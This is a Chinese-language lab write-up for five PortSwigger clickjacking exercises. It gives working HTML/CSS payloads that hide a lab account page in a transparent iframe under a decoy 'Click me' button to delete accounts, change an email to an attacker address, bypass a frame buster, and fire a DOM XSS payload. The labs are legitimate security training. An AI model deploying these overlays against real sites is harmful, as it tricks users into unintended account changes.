当前位置: 首页 > java >正文

PortSwigger Labs 之 点击劫持利用

lab1 带有 csrf token 保护的基本点击劫持

实验一下点击劫持

此时 a 标签透明化了,看不到,但是点击 click me 会执行 a 标签的弹框

a 标签透明度置低后,badclick 显示出来了,由于 a 标签的样式 z-index:2,div 的 z-index: 1,数值大的,视觉层级置顶。所以点击时实际点击了看不见的 a 标签链接

回到 lab 中,加载一个带有加载 myaccount 的 iframe,并且设为透明,

<style>iframe {position:relative;/*相对定位是相对于元素自身在文档流中的原始位置进行偏移*/width:500px;height: 700px;opacity: 1; /*透明度*/z-index: 2;  /*视觉层级在最前面*/}div {position:absolute;/*绝对定位,需要依靠最近的相对定位元素,不占据文档空间,独立存在*/top:500px;left:60px;z-index: 1;/*当iframe透明度低时,div将被覆盖*/}
</style>
<div>Clickjacking</div>
<iframe src="https://0a98000503be89ae8219605d00a10096.web-security-academy.net/my-account"></iframe>

不透明是这样的

透明后 iframe 消失

实验中需要调整 div 的位置,top:500px;点击 store,view exploit,调整 div 的 top 属性值,将透明度设 0.1 方便观察位置,位置到大约 delete account 位置

Lab2 点击劫持改邮箱

调整位置放到 update email 的位置即可,下图因为试验成功后弹出成功标志,把 update 按钮顶下去了。

提交的 iframe 中插入修改邮箱的 url

        <style>iframe {position:relative;width: 500px;height: 700px;opacity:  0.1;z-index: 2;}div {position:absolute;top:450px;left:60px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0ab4002e03e2d5c382221f3c00830043.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

lab3 Clickjacking with a frame buster script

        <style>iframe {position:relative;width: 500px;height: 700px;opacity:  0.1;z-index: 2;}div {position:absolute;top:450px;left:60px;z-index: 1;}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ab6001703d1c129823c334d00990089.web-security-academy.net/my-account?email=hacker@attacker-website.com""></iframe>

lab4 利用点击劫持触发 dom xss

测试输入后回显了 name

name 处输入<h1>aa</h1> 解析了 h1 标签

        <style>iframe {position:relative;width: 500px;height: 700px;opacity:  0.1;z-index: 2;}div {position:absolute;top:610px;left:75px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://0abc00e50372c49c80343a4c0026009a.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

lab5 多步骤点击劫持

这次需要点击劫持两次完成删除账户

<style>iframe {position:relative;width:500px;height: 700px;opacity: 0.1;z-index: 2;}.firstClick, .secondClick {position:absolute;top:490;left:60;z-index: 1;}.secondClick {top:290;left:200;}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://0a8300060341c49f8082532e00070054.web-security-academy.net/my-account/my-account"></iframe>

echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d

http://www.xdnf.cn/news/15669.html

相关文章:

  • RPC 与 Feign 的区别笔记
  • Spring AI开发智能客服(Tool calling)
  • 开启modbus tcp模拟调试
  • 【LeetCode 热题 100】199. 二叉树的右视图——(解法一)BFS
  • 自己动手实现 strlen:从循环到递归的四种写法
  • Postman/Apipost中使用Post URL编码发送含换行符参数的问题分析
  • 现代R语言机器学习:Tidymodel/Tidyverse语法+回归/树模型/集成学习/SVM/深度学习/降维/聚类分类与科研绘图可视化
  • 串口(Serial Port)是什么?
  • 在 React 中根据数值动态设置 SVG 线条粗细
  • 【52】MFC入门到精通——MFC串口助手(二)---通信版(发送数据 、发送文件、数据转换、清空发送区、打开/关闭文件),附源码
  • 9. isaacsim4.2教程-ROS加相机/CLOCK
  • vs openssl编译提示无法打开文件“libssl.lib”或“libcrypto.lib”
  • 回归预测 | MATLAB实现SA-BP模拟退火算法优化BP神经网络多输入单输出回归预测
  • 搜广推校招面经九十五
  • stm32驱动双步进电机
  • Linux入门篇学习——借助 U 盘或 TF 卡拷贝程序到开发板上
  • UniApp -- 小程序自定义导航栏组件
  • 论文征集 | 国产工业软件硕博学位论文激励计划启动
  • 主流编程语言全景图:从Python到Rust的深度解析
  • 网络基础12--可靠性概述及要求
  • sky-take-out项目Mybatis的使用
  • 高性能数据库-Redis详解
  • 网关-微服务网关入门
  • STM32-第七节-TIM定时器-3(输入捕获)
  • 深度解析Linux文件I/O三级缓冲体系:用户缓冲区→标准I/O→内核页缓存
  • 如何在服务器上获取Linux目录大小
  • Mysql数据库——增删改查CRUD
  • *SFT深度实践指南:从数据构建到模型部署的全流程解析
  • 1-大语言模型—理论基础:详解Transformer架构的实现(1)
  • LeetCode|Day18|20. 有效的括号|Python刷题笔记